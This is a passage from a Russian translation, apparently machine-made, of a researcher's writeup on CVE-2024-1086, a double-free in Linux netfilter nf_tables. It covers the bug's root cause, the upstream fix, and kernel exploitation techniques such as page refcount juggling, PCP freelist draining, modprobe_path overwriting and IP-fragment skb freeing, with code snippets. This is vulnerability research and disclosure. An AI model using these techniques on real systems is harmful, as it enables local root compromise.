С точки зрения практичности TLB необходимо найти таблицы страниц в физической памяти для их постраничного обхода. Адрес корня пользовательской иерархии таблиц страниц (PGD) [B]работающего процесса[/B] хранится в привилегированном CR3регистре соответствующего ядра ЦП. «Привилегированный» означает, что доступ к реестру возможен только из пространства ядра, поскольку доступ к области пользователя приведет к ошибке разрешения. Когда планировщик ядра переключает процессор на другой контекст процесса, ядро устанавливает этот CR3регистр в значение virt_to_phys(current->mm->pgd).

Чтобы узнать больше о том, как MMU находит расположение иерархии таблиц страниц, когда ЦП необходимо выполнить поиск TLB с промахом в кэше, посетите страницу [URL='https://en.wikipedia.org/wiki/Control_register']Википедии, посвященную управляющим регистрам[/URL] .

[HEADING=3]2.6. Промывка TLB[/HEADING]
Промывка TLB — это практика очистки TLB. Резервный буфер трансляции (TLB) кэширует трансляции между виртуальными и физическими адресами. Эта практика обеспечивает огромный прирост производительности, поскольку процессору больше не нужно просматривать таблицы страниц, и вместо этого он может [I]обращаться[/I] к TLB.

Когда иерархия таблицы страниц виртуальных адресов изменяется в пространстве ядра, ее также необходимо обновить в TLB. Это вызывается вручную из ядра путем выполнения вызовов функций в тех же функциях, где изменяются таблицы страниц. Эти функции «очищают» TLB, что очищает кэш трансляции (возможно, только для определенного диапазона адресов) TLB. Затем при следующем обращении к виртуальному адресу TLB сохранит преобразование в кэш TLB.

Однако иногда мы меняем таблицы страниц (и их виртуальные адреса) в эксплойтах там, где этого не ожидается. Примером этого является использование ошибки записи UAF для перезаписи PTE. В это время функции очистки TLB в ядре не вызываются, поскольку мы не используем функции для изменения таблиц страниц, которые вызывают указанные функции. Следовательно, нам нужно очистить TLB косвенно из пользовательской среды. В противном случае TLB будет содержать устаревшие записи кэша. В разделе «Техники» этого блога я представляю свой собственный метод.

Чтобы узнать больше о TLB, прочтите статью в Википедии: [URL='https://en.wikipedia.org/wiki/Translation_lookaside_buffer']«Буфер резервного перевода — Википедия».[/URL]

[HEADING=3]2.7. Грязная таблица страниц[/HEADING]
Грязная таблица страниц — это новый метод, представленный Н. Ву, который сводится к перезаписи PTE для выполнения атаки KSMA. В их исследовательской работе представлены два сценария перезаписи PTE: ошибка двойного освобождения и ошибка записи UAF. Оба сценария дополнены практическим примером. Оригинальную статью определенно стоит прочитать, поскольку я многому из нее научился.

[IMG]https://pwning.tech/content/images/2024/02/dirtypagetable-3.svg[/IMG]Иллюстрация 2.7.1: Общий обзор метода «грязной таблицы страниц».
Однако в исходной статье есть несколько важных тем, которые я пытаюсь включить в этот пост. Примером этих тем является то, как работают таблицы страниц, очистка TLB, код проверки концепции, работа физического KASLR и формат значений PTE. Кроме того, в этом блоге я представляю вариант этой техники (Dirty Pagedirectory).

Чтобы узнать больше, ознакомьтесь с оригинальной исследовательской работой Н. Ву: [URL='https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html']«Грязная таблица страниц: новая техника эксплуатации для управления ядром Linux».[/URL]

[HEADING=3]2.8. Перезапись modprobe_path[/HEADING]
Один из наиболее классических методов повышения привилегий — перезапись modprobe_pathпеременной в ядре. Значение переменной устанавливается CONFIG_MODPROBE_PATHво время компиляции и дополняется до KMOD_PATH_LENбайтов нулевыми байтами. Обычно CONFIG_MODPROBE_PATHдля него установлено значение «/sbin/modprobe», поскольку это обычный путь к двоичному файлу modprobe.

Переменная используется, когда пользователь пытается выполнить двоичный файл с неизвестным заголовком магических байтов. Например, магические байты двоичного файла ELF FE45 4C46(также известные как «.ELF»). При выполнении двоичного файла ядро будет искать зарегистрированные обработчики двоичных файлов, соответствующие указанным магическим байтам. В случае ELF выбирается обработчик ELF binfmt. Однако, если зарегистрированный binfmt не распознан, modprobe будет вызван с использованием пути, сохраненного в, modprobe_pathи запросит [URL='https://elixir.bootlin.com/linux/latest/source/fs/exec.c#L1754']модуль ядра[/URL] с именем binfmt-%04x, где %04x— шестнадцатеричное представление первых 2 байтов файла.

[IMG]https://pwning.tech/content/images/2024/02/modprobe_path-4.svg[/IMG]Иллюстрация 2.8.1: Анализ метода повышения привилегий modprobe_path.
Чтобы воспользоваться этим, мы можем перезаписать значение modprobe_pathстрокой пути сценария повышения привилегий (который, например, дает корневой SUID /bin/sh), а затем вызвать modprobe, попытавшись выполнить файл с недопустимым форматом, например ffff ffff. После этого ядро будет запускаться /tmp/privesc_script.sh -q -- binfmt-ffffот имени пользователя root, что позволяет нам запускать любой код от имени пользователя root. Это избавляет нас от необходимости запускать функции ядра самостоятельно и вместо этого позволяет легко выполнить privesc, перезаписав строку.

Где-то в процессе CONFIG_STATIC_USERMODEHELPER_PATHбыло введено смягчение, которое делает перезапись modprobe_pathбесполезной. Для смягчения последствий задается путь каждого исполняемого двоичного файла к двоичному файлу, похожему на busybox, который ведет себя по-разному в зависимости от переданного имени файла argv[0]. Следовательно, если мы перезапишем modprobe_path, будет отличаться только это значение argv[0], которое бинарный файл типа busybox не распознает и, следовательно, не будет выполнять.

Эксплойт, представленный в этом эксплойте, работает как с , так и без него CONFIG_STATIC_USERMODEHELPER_PATH, потому что мы можем просто перезаписать строку, доступную только для чтения, "/sbin/usermode-helper"в памяти ядра.

Чтобы узнать больше о методе modprobe_path, посетите эту полезную страницу на Github пользователя Smallkirby: [URL='https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md']«modprobe_path.md · smallkirby/kernelpwn».[/URL]

[HEADING=3]2.9. ЯдроCTF[/HEADING]
KernelCTF — это программа, запущенная Google с целью раскрытия новых методов эксплуатации (защищенных) ядер Linux. Это также отличный способ получить этическое вознаграждение за любые уязвимости, которые могут возникнуть в ядре Linux, поскольку вознаграждения варьируются от 21 337 долларов США до 111 337 долларов США и даже больше, все зависит от масштаба уязвимости и наличия каких-либо новых методов. .

В общих чертах существует три категории машин: LTS (долгосрочное стабильное ядро, усиленное существующими средствами защиты), смягчение (ядро, усиленное экспериментальными средствами защиты поверх существующих средств защиты) и COS (ОС, оптимизированная для контейнера). Каждую машину можно взломать один раз для каждой версии, и награду получает исследователь, взломавший машину первым. Это означает, что если исследователь А взломал версию LTS 6.1.63, то исследователь А и исследователь Б все равно смогут взломать версию защиты 6.1.63. После выпуска следующей версии на платформе KernelCTF (обычно через 2 недели) как исследователь А, так и исследователь Б могут снова взломать версию LTS 6.1.65. Тем не менее, ошибка, о которой сообщил исследователь А для версии 6.1.63, скорее всего, будет исправлена сейчас и в любом случае будет рассматриваться как дубликат, если она будет использована снова.

Чтобы «взломать» машину KernelCTF, исследователю необходимо прочитать файл /flagв корневом пространстве имен (узла тюрьмы), которое доступно для чтения только пользователю root. Как и следовало ожидать, для этого может потребоваться как nsjailвыход из изолированной программной среды ( ), так и повышение привилегий пользователю root. В конце концов, это не имеет значения, пока флаг захвачен.

Для отладки среды проверьте local_runner.shсценарий, предоставленный командой KernelCTF. Обратите внимание на --rootфлаг, который позволяет вам запускать корневую оболочку за пределами тюрьмы.

Чтобы узнать больше о программе KernelCTF, посетите эту страницу: [URL='https://google.github.io/security-research/kernelctf/rules.html']«Правила KernelCTF | исследования безопасности».[/URL]

[HEADING=2]3. Ошибка[/HEADING]
[HEADING=3]3.1. Обнаружение ошибки[/HEADING]
Все началось с того, что я захотел реализовать обход брандмауэра в своем рутките ORB [URL='https://github.com/Notselwyn/netkit']Netkit[/URL] . Я хотел полагаться на API ядра (экспортированные функции) для любых действий, поскольку он имел бы такую же совместимость, как и обычные модули ядра. Будем надеяться, что это будет означать, что модуль ядра руткита можно будет использовать в разных архитектурах и версиях ядра без необходимости изменения исходного кода.

Это привело меня в кроличью нору под названием Netfilter. До этого исследования у меня не было практического опыта работы с Netfilter, поэтому мне пришлось провести много исследований самостоятельно. К счастью, существует множество документации как от разработчиков ядра, так и от сообщества информационной безопасности. Прочитав подсистему, я прочитал сверху вниз кучу исходного кода, связанного с правилами и выражениями nf_tables.

Читая код nf_tables, конечный автомат которого очень интересен с точки зрения разработки программного обеспечения, я заметил эту nf_hook_slow()функцию. Эта функция перебирает все правила в цепочке и останавливает вычисление (возвращает функцию) сразу же после NF_DROPзапуска.

При NF_DROPобработке он освобождает пакет и позволяет пользователю установить возвращаемое значение с помощью NF_GET_DROPERR(). Обладая этими знаниями, я сделал возврат функции NF_ACCEPTс использованием ошибки удаления при обработке NF_DROP. Позже, после паники ядра и анализа путей кода, я нашел примитив с двойным освобождением.

// looping over existing rules when skb triggers chain
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;

// loop over every rule
for (; s < e->num_hook_entries; s++) {
// acquire rule's verdict
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);

switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;  // go to next rule
case NF_DROP:
kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP);

// check if the verdict contains a drop err
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;

// immediately return (do not evaluate other rules)
return ret;

// [snip] alternative verdict cases
default:
WARN_ON_ONCE(1);
return 0;
}
}

return 1;
}
Копировать
Кодовый блок 3.1.1: nf_hook_slow()функция ядра, написанная на C, которая перебирает правила nftables.

[HEADING=3]3.2. Анализ причин[/HEADING]
Основная причина ошибки довольно проста по своей природе, поскольку это ошибка очистки ввода. Результатом этого является стабильный примитив с двойной свободой.

Важными деталями анализа потока данных является то, что при создании [B]объекта[/B] вердикта для перехватчика netfilter ядро допускало положительные ошибки отбрасывания. Это означало, что атакующий пользователь мог вызвать описанный ниже сценарий, в котором nf_hook_slow()объект skb освобождался при NF_DROPвозврате из ловушки/правила, а затем возвращался NF_ACCEPT, как если бы каждый перехват/правило в цепочке возвращал NF_ACCEPT. Это приводит к тому, что вызывающая сторона nf_hook_slow()неправильно интерпретирует ситуацию и продолжает анализ пакета и, в конечном итоге, освобождает его дважды.

// userland API (netlink-based) handler for initializing the verdict
static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
struct nft_data_desc *desc, const struct nlattr *nla)
{
u8 genmask = nft_genmask_next(ctx->net);
struct nlattr *tb[NFTA_VERDICT_MAX + 1];
struct nft_chain *chain;
int err;

// [snip] initialize memory

// malicious user: data->verdict.code = 0xffff0000
switch (data->verdict.code) {
default:
// data->verdict.code & NF_VERDICT_MASK == 0x0 (NF_DROP)
switch (data->verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
break;  // happy-flow
default:
return -EINVAL;
}
fallthrough;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
break;  // happy-flow
case NFT_JUMP:
case NFT_GOTO:
// [snip] handle cases
break;
}

// successfully set the verdict value to 0xffff0000
desc->len = sizeof(data->verdict);

return 0;
}
Копировать
Кодовый блок 3.2.1: nft_verdict_init()функция ядра, написанная на C, которая создает объект вердикта netfilter.

// looping over existing rules when skb triggers chain
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;

for (; s < e->num_hook_entries; s++) {
// malicious rule: verdict = 0xffff0000
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);

// 0xffff0000 & NF_VERDICT_MASK == 0x0 (NF_DROP)
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;
case NF_DROP:
// first free of double-free
kfree_skb_reason(skb,
SKB_DROP_REASON_NETFILTER_DROP);
          
// NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT)
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;
          
// return NF_ACCEPT (continue packet handling)
return ret;

// [snip] alternative verdict cases
default:
WARN_ON_ONCE(1);
return 0;
}
}

return 1;
}
Копировать
Кодовый блок 3.2.2: nf_hook_slow()функция ядра, написанная на C, которая перебирает правила nftables.

static inline int NF_HOOK(uint8_t pf, unsigned int hook, struct net *net, struct sock *sk,
struct sk_buff *skb, struct net_device *in, struct net_device *out,
int (*okfn)(struct net *, struct sock *, struct sk_buff *))
{
// results in nf_hook_slow() call
int ret = nf_hook(pf, hook, net, sk, skb, in, out, okfn);

// if skb passes rules, handle skb, and double-free it
if (ret == NF_ACCEPT)
ret = okfn(net, sk, skb);

return ret;
}
Копировать
Кодовый блок 3.2.3: NF_HOOK()функция ядра, написанная на C, которая в случае успеха вызывает функцию обратного вызова.



[HEADING=3]3.3. Влияние и эксплуатация ошибок[/HEADING]
Как сказано в подразделе выше, эта ошибка оставляет нам очень мощный примитив двойного освобождения при попадании в правильные пути кода. Двойное освобождение влияет как на struct sk_buffобъекты в skbuff_head_cacheslab-кэше, так и на sk_buff->headобъекты динамического размера размером от kmalloc-256порядка 4 страниц непосредственно из приятеля-распределителя (65536 байт) с пакетами ipv4 (возможно, даже больше с большими пакетами ipv6?) .

Объект sk_buff->headвыделяется через интерфейс, подобный kmalloc ( kmalloc_reserve()) в __alloc_skb(). Это позволяет нам выделять объекты динамического размера. Следовательно, мы можем выделять блочные объекты размером от 256 до полноценных страниц размером 65536 байт с помощью вспомогательного распределителя. Функциональный обзор этого можно найти в подразделе размещения страниц раздела справочной информации.

Размер объекта sk_buff->head напрямую зависит от размера сетевого пакета, поскольку этот объект содержит содержимое пакета. Следовательно, если мы отправим пакет, например, с данными размером 40 КБ, ядро выделит страницу порядка 4 непосредственно из распределителя-партнера.

Когда вы пытаетесь воспроизвести ошибку самостоятельно, ядро может запаниковать, даже если все средства смягчения отключены. Это связано с тем, что некоторые поля skb, например указатели, повреждаются при освобождении skb. Таким образом, нам следует стараться избегать использования этих полей. К счастью, я нашел способ обойти любое использование, которое могло привести к панике или обычным ошибкам, и получить высоконадежный примитив double-free. Я подчеркиваю это в соответствующем подразделе раздела проверки концепции.

[HEADING=3]3.4. Исправление ошибок[/HEADING]
Когда я сообщил об ошибке разработчикам ядра, я предложил свое собственное исправление ошибки, которое, к сожалению, пришлось внести определенное критическое изменение в середину стека netfilter.

К счастью, один из разработчиков подсистемы придумал собственное элегантное решение. Их исправление очищает вердикты, вводимые пользователем в самом API netfilter, еще до того, как вредоносный вердикт будет добавлен. Конкретное исправление заставляет ядро полностью запрещать ошибки удаления для пользовательского ввода. Однако сопровождающий отмечает, что, если такое поведение понадобится в будущем, n <= 0следует разрешить только ошибки удаления, чтобы предотвратить подобные ошибки. Это связано с тем, что положительные ошибки отбрасывания, такие 1как NF_ACCEPT.

Кроме того, уязвимости был присвоен [URL='https://nvd.nist.gov/vuln/detail/CVE-2024-1086']CVE-2024-1086[/URL] (это было до того, как ядро Linux стало CNA и разрушило смысл CVE).

A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation.

The nft_verdict_init() function allows positive values as drop error within the hook verdict, and hence the nf_hook_slow() function can cause a double free vulnerability when NF_DROP is issued with a drop error which resembles NF_ACCEPT.

We recommend upgrading past commit f342de4e2f33e0e39165d8639387aa6c19dff660.
Кодовый блок 3.4.1: описание CVE-2024-1086.

--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -10988,16 +10988,10 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
     data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));
 
     switch (data->verdict.code) {
-    default:
-        switch (data->verdict.code & NF_VERDICT_MASK) {
-        case NF_ACCEPT:
-        case NF_DROP:
-        case NF_QUEUE:
-            break;
-        default:
-            return -EINVAL;
-        }
-        fallthrough;
+    case NF_ACCEPT:
+    case NF_DROP:
+    case NF_QUEUE:
+        break;
     case NFT_CONTINUE:
     case NFT_BREAK:
     case NFT_RETURN:
@@ -11032,6 +11026,8 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
 
         data->verdict.chain = chain;
         break;
+    default:
+        return -EINVAL;
     }
 
     desc->len = sizeof(data->verdict);
--
Копировать
Кодовый блок 3.4.2: разница кода C nft_verdict_init()функции ядра, исправляемой против ошибки.

Вы можете узнать больше об их исправлении на веб-сайте с информацией о ядре: [URL='https://lore.kernel.org/all/[email protected]']«[PATCH nf] netfilter: nf_tables: отклонить параметры вердикта QUEUE/DROP».[/URL]

[HEADING=2]4. Техники[/HEADING]
[HEADING=3]4.1. Жонглирование рефсчетом страницы[/HEADING]
Первый метод, необходимый для использования эксплойта, — это подтасовка счетчиков ссылок на страницы. Когда мы пытаемся дважды освободить страницу в ядре с помощью специальных функций API, ядро проверит счетчик ссылок страницы:

void __free_pages(struct page *page, unsigned int order)
{
/* get PageHead before we drop reference */
int head = PageHead(page);

if (put_page_testzero(page))
free_the_page(page, order);
else if (!head)
while (order-- > 0)
free_the_page(page + (1 << order), order);
}
Копировать
Кодовый блок 4.1.1: C-код функции __free_pages()ядра с оригинальными комментариями.

Прежде чем мы освободим страницу, счетчик рефсчетов обычно равен 1 (если только ею не поделились или что-то в этом роде, тогда он выше). Если счетчик ссылок страниц ниже 0 после его уменьшения, страница будет отказано в освобождении ( put_page_testzero()вернется false). Это означает, что мы не сможем дважды освободить страницы... разве?

Активные читатели заметят, что несколько дочерних страниц будут освобождены до тех пор, пока order-- == 0. Однако после освобождения первой страницы порядок страниц устанавливается на 0. Следовательно, во время второго освобождения, когда выполняется указанный код, никакие страницы не будут освобождены, поскольку order-- == -1. Тот факт, что порядок страниц устанавливается на 0 после освобождения страницы, будет использован для преобразования страниц с двойным освобождением в порядок 0 в разделе техники «Установка порядка страниц на 0».

В контексте двойного освобождения: когда мы освобождаем страницу в первый раз, счетчик ссылок будет уменьшен до 0, и, следовательно, страница будет освобождена, как это позволяет код выше. Однако, когда мы попытаемся освободить страницу во второй раз, счетчик ссылок будет уменьшен до -1 и не будет освобожден, поскольку счетчик ссылок != 0, и может даже вызвать ошибку BUG(), если CONFIG_DEBUG_VMона включена.

Итак, как же нам тогда дважды освободить страницы? Просто: снова выделите страницу перед второй свободной, так как бесплатная будет выглядеть как свободная без двойного освобождения, учитывая, что на странице есть реальный объект. Это может быть любой объект одинакового размера, например плита или таблица страниц, что я и использую в эксплойте.

В самом упрощенном виде реализация этого приема будет выглядеть так:

static void kref_juggling(void)
{
struct page *skb1, *pmd, *pud;

skb1 = alloc_page(GFP_KERNEL);  // refcount 0 -> 1
__free_page(skb1);  // refcount 1 -> 0
pmd = alloc_page(GFP_KERNEL);  // refcount 0 -> 1
__free_page(skb1);  // refcount 1 -> 0
pud = alloc_page(GFP_KERNEL);  // refcount 0 -> 1

pr_err("[*] skb1: %px (phys: %016llx), pmd: %px (phys: %016llx), pud: %px (phys: %016llx)\n", skb1, page_to_phys(skb1), pmd, page_to_phys(pmd), pud, page_to_phys(pud));
}
Копировать
Кодовый блок 4.1.2: код C специального модуля ядра, содержащий комментарии, описывающие счетчики ссылок на страницы.

Что касается очистки после эксплуатации, то это невероятно просто: просто освободите оба объекта по своему желанию, поскольку ядро откажется дважды освобождать страницу из-за счетчика ссылок. :-)

[HEADING=3]4.2. Порядок записи в свободном списке страниц от 4 до порядка 0[/HEADING]
Когда происходит выделение __do_kmalloc_node()(например, skb), размер выделенного объекта сверяется с KMALLOC_MAX_CACHE_SIZE(максимальным размером распределителя плиты). Если объект больше этого размера, вместо распределителя плит будет использоваться один из распределителей страниц. Это полезно, когда мы хотим детерминированно освободить страницы, такие как данные skb, и выделить страницы, такие как страницы PTE, используя те же алгоритмы и списки свободных ресурсов. Однако значение KMALLOC_MAX_CACHE_SIZEэквивалентно PAGE_SIZE * 2, что означает, что kmalloc будет использовать распределители страниц для выделения памяти выше порядка 1 (2 страницы или 8096 байт).

К сожалению, некоторые объекты, на которые мы можем ориентироваться, выделяются исключительно распределителями страниц, но при этом не выходят за рамки размера распределителя плит. Например, разработчик может использовать alloc_page()вместо kmalloc(4096), поскольку это экономит накладные расходы. Примером этого является страница PTE (или любая другая страница таблицы страниц), которая использует выделение страниц порядка 0 (1 страница или 4096 байт).

Если бы мы дважды освободили объект размером 4096 байт (страница order==0), обрабатываемый распределителем slab, он оказался бы в slabcache, а не в pagecache. Следовательно, чтобы дважды выделить страницы в свободном списке порядка == 0, нам необходимо преобразовать записи свободного списка порядка 4 (16 страниц) из нашего двойного свободного списка в записи свободного списка порядка 0 (1 страница).

К счастью, я нашел 2 метода для выделения страниц order==0 с записями в свободном списке страниц order==4.

[HEADING=3]4.2.1. Очистка списка PCP[/HEADING]
Этот метод использует тот факт, что PCP-распределитель по сути представляет собой набор свободных списков для каждого процессора для дружественного распределителя. Когда один из этих списков свободного доступа PCP пуст, он заново заполняет страницы из распределителя-приятеля.

[QUOTE]
Для функционального обзора процесса выделения страниц (включая операторы if, а также распределителя блоков и распределителя-партнера) ознакомьтесь с подразделом выделения страниц в фоновом разделе.
[/QUOTE]
[IMG]https://pwning.tech/content/images/2024/03/pcp_refill-3.svg[/IMG]Рисунок 4.2.1.1: Временная шкала операций с памятью для установки порядка страниц на 0.
Пополнение происходит в больших количествах count = N/orderобъектов страницы. Следовательно, функция rmqueue_bulk()(которая используется для пополнения) распределяет countстраницы по порядку orderот приятеля-распределителя. При выделении страницы из распределителя друзей он будет проходить через свободный список страниц друзей, и если порядок записей в свободном списке друзей >= order, то он вернет эту страницу для пополнения. Если порядок записей в списке свободных друзей > order, то распределитель-распределитель разделит страницу внутри.

Обратите внимание, что наш эксплойт double-free имеет страницы order==4 и должен заполнить их страницами PCP order==0. Когда мы освобождаем его, страница order==4 добавляется в список друзей-фрилистов. Для нашего эксплойта мы хотим поместить страницу order==0 в эти 16 страниц, потому что страница order==4 будет дважды освобождена. Распределение страниц order==0 происходит с помощью распределителя PCP, который имеет свободные списки для каждого заказа. Однако механизм PCP-refill примет любую страницу приятеля, если она подойдет. Следовательно, мы можем выделить 16 страниц PTE на странице с двойным освобождением == 4.

Как уже было сказано, чтобы запустить этот механизм, мы должны сначала очистить список свободных PCP для целевого процессора путем распыления выделенных страниц. В своем эксплойте я делаю это путем распыления PTE-страниц, и это напрямую связано с методом Dirty Pagedirectory. Поскольку мы не можем определить, был ли опустошен список свободных ресурсов PCP, нам нужно предположить, что один из распыляемых объектов выделен в объекте с двойным освобождением. Следовательно, я распыляю объекты PTE, чтобы объект PTE занял место одной из страниц друзей, освобожденных двойным освобождением. Если бы я хотел выделить объект PMD, я бы распылил объекты PMD и так далее.

Количество объектов в списках свободного доступа различается в зависимости от системы и использования ресурсов. Для эксплойта я использовал 16000 объектов PTE, чего во всех случаях, с которыми я столкнулся, было достаточно, чтобы очистить список свободных объектов.

static int rmqueue_bulk(struct zone *zone, unsigned int order,
unsigned long count, struct list_head *list,
int migratetype, unsigned int alloc_flags)
{
unsigned long flags;
int i;

spin_lock_irqsave(&zone->lock, flags);
for (i = 0; i < count; ++i) {
struct page *page = __rmqueue(zone, order, migratetype, alloc_flags);
if (unlikely(page == NULL))
break;

list_add_tail(&page->pcp_list, list);
// [snip] set stats
}

// [snip] set stats
spin_unlock_irqrestore(&zone->lock, flags);

return i;
}
Копировать
Кодовый блок 4.2.1.2: код C rmqueue_bulk()функции ядра, которая пополняет свободный список PCP.

[HEADING=3]4.2.2. Состояние гонки (устарело)[/HEADING]
[B]>> Этот метод устарел, но использовался для эксплойта kernelctf <<[/B]

Первая функция free() добавляет страницу в правильный список свободных мест и устанавливает порядок страниц равным 0. Однако при выполнении двойного освобождения (2-го бесплатного) страница будет добавлена в список свободных мест для порядка 0, поскольку это то, что страница заказ предназначен для этой страницы. Таким образом, мы можем добавить страницы order==4 в свободные списки order==0 с помощью примитива double-free.

[IMG]https://pwning.tech/content/images/2024/02/converting_page_order-1.svg[/IMG]Рисунок 4.2.2.1: Временная шкала операций с памятью для установки порядка страниц на 0.
К несчастью, этот метод является состоянием гонки. Когда страница освобождается во второй раз без перехвата alloc ( free; free; alloc; alloc), счетчик ссылок страницы упадет ниже 0 и не позволит выполнить двойное освобождение, поэтому нам нужно выполнить подтасовку ссылок на страницы ( free; alloc; free; alloc). Однако тогда заказ не будет равен 0 на втором свободном месте, потому что alloc установит первоначальную сумму заказа (т. е. заказ 4). Теперь преобразование страницы в порядок 0 кажется невозможным, поскольку она должна быть либо вообще несвободной (счетчик ссылок -1), либо страница должна иметь исходный порядок (правильный сценарий). Введите: состояние гонки.

Когда страница освобождается, ее порядок передается по значению. Это означает, что если страница с двойным освобождением будет выделена во время второго освобождения, она будет помещена в свободный список порядка 0, и ее счетчик ссылок будет увеличен, поэтому она не достигнет -1 и будет равна 0, как должно быть. Как вы можете себе представить, окно гонки довольно маленькое, поскольку оно состоит из нескольких вызовов функций. Однако free_large_kmalloc()функция выводит сообщение WARN() ядра в dmesg, если порядок равен 0, что происходит из-за двойного освобождения. Обычно это обеспечивает время окна всего 1 мс, но для виртуализированных систем, таких как виртуальные машины QEMU с последовательными терминалами, окно составляет 50–300 мс, что более чем достаточно для достижения результата.

Теперь мы успешно прикрепили страницу к свободному списку порядка 0, что означает, что теперь мы можем перезаписать страницу любым распределением страниц порядка 0. Мы также можем преобразовать ссылку на первую страницу (полученную вместе с первой свободной), освободив этот объект и перераспределив его как новый объект, поскольку порядок страниц сохранится. Если мы используем манипуляцию со счетчиком ссылок на странице, мы хотим освободить объект, который принял первую освобожденную ссылку.

[HEADING=3]4.3. Мгновенное освобождение skb без стеков UDP/TCP[/HEADING]
Когда мы избегаем проверок на наличие повреждений в свободном списке, мы можем захотеть освободить определенный skb напрямую по своему желанию в произвольное время, чтобы наш эксплойт мог работать очень быстро и синхронно с меньшей вероятностью повреждения.

[QUOTE]
Обратите внимание, что такое поведение обычно происходит с локальными пакетами UDP, но skb повреждается после первого освобождения в двойном освобождении, что означает, что я не могу использовать для этого стеки TCP или UDP, в которых используются поврежденные поля.
[/QUOTE]
[QUOTE]
[B]УСТАРЕЛО (KERNELCTF EXPLOIT)[/B] : В качестве альтернативы мы можем захотеть освободить определенный skb на конкретном процессоре, чтобы обойти обнаружение двойного освобождения, поскольку список свободных мест sk_buff предназначен для каждого процессора. Это означает, что если мы дважды освободим объект на двух процессорах сразу друг за другом, двойное освобождение не будет обнаружено. Мы не можем «выбросить предыдущий skb на луну» (то есть выделить никогда не истекающий skb), чтобы предотвратить обнаружение двойного освобождения, поскольку это приведет к изменению головных страниц skb либо путем изменения указателя, либо путем выделения того же указателя из списка свободных, предотвращая в любом случае дважды бесплатно.
[/QUOTE]
К счастью, существует фрагментация IP-пакетов и очереди ее фрагментов. Когда IP-пакет ожидает получения всех своих фрагментов, фрагменты помещаются в очередь IP-фрагментов (красно-черное дерево). Когда полученные фрагменты имеют ожидаемую длину полного IP-пакета, пакет повторно собирается на ЦП, из которого пришел последний фрагмент. Обратите внимание, что эта очередь IP-фрагментов имеет тайм-аут в ipfrag_timeсекундах, который освободит все skb. Изменение этого тайм-аута описано в следующем подразделе.

Если бы мы хотели переключить запись списка свободных номеров skb skb1с ЦП 0 на ЦП 1, мы бы выделили ее как IP-фрагмент в новую очередь IP-фрагментов на ЦП 0. Затем мы отправляем skb2- окончательный IP-фрагмент для очереди на ЦП. 1. Это приведет skb1к освобождению ЦП 1.

То же самое поведение можно использовать для освобождения skb по желанию, без использования кода UDP/TCP. Это выгодно для эксплойта, поскольку пакет двойного освобождения повреждается при первом освобождении. Если бы мы использовали код UDP, ядро запаниковало бы из-за всякого рода неприятного поведения.

[IMG]https://pwning.tech/content/images/2024/02/switching_skb_cpu-1.svg[/IMG]Иллюстрация 4.3.1: График действий по переключению списка свободных процессоров skb.
К сожалению, окончательный размер очереди IP-фрагментов определяется значением skb->len, которое полностью рандомизируется после освобождения из-за перекрытия с размером slabcache s->random. Подробности смотрите в следующем подразделе. Это означает, что практически невозможно последовательно завершить очередь IP-фрагментов, поскольку она будет использовать случайную ожидаемую длину.

Поэтому я придумал другую стратегию: вместо завершения очереди IP-фрагментов мы заставляем ее вызывать ошибку, используя недопустимый ввод. Это приведет к мгновенному освобождению всех skb в очереди IP-фрагментов на процессоре skb, вызвавшего ошибку, независимо от skb->len.

[QUOTE]
При самостоятельной реализации этого метода обратите внимание, что обнаружение двойного освобождения ( CONFIG_FREELIST_HARDENED) будет активировано, если вы не добавите «невинные» объекты skb между free skb1и alloc skb2. В демонстративных целях они не показаны на схеме, но включены в разделы PoC.
[/QUOTE]
[HEADING=3]4.3.1. Изменение максимального срока службы skb[/HEADING]
Для нашего эксплойта мы можем захотеть, чтобы skb жили короче или дольше, в зависимости от варианта использования. К счастью, ядро предоставляет пользовательский интерфейс для настройки времени ожидания очереди фрагментации IP в размере /proc/sys/net/ipv4/ipfrag_time. Это специфично для каждого сетевого пространства имен и, следовательно, может быть установлено как непривилегированный пользователь в его собственном сетевом пространстве имен.

Когда мы используем IP-фрагменты для повторной сборки разделенного IP-пакета, ядро будет ждать ipfrag_timeнесколько секунд, прежде чем выдать тайм-аут. Если мы установим ipfrag_timeзначение 999999 секунд, ядро позволит фрагменту skb жить 999999 секунд. И наоборот, мы также можем установить его равным 1 секунде, если хотим быстро выделить и освободить skb на случайном процессоре.

static void set_ipfrag_time(unsigned int seconds)
{
int fd;
  
fd = open("/proc/sys/net/ipv4/ipfrag_time", O_WRONLY);
if (fd < 0) {
perror("open$ipfrag_time");
exit(1);
}

dprintf(fd, "%u\n", seconds);
close(fd);
}
Копировать
Кодовый блок 4.3.1.1: код C пользовательской функции для установки ipfrag_timeпеременной.

[HEADING=3]4.4. Обход проверок на повреждение skb KernelCTF[/HEADING]
Единственным средством защиты, которое мне пришлось активно обходить в экземпляре защиты KernelCTF, были проверки на повреждение списка свободных мест, в частности, то, которое проверяет, не поврежден ли следующий ptr списка свободных мест в выделяемом объекте.

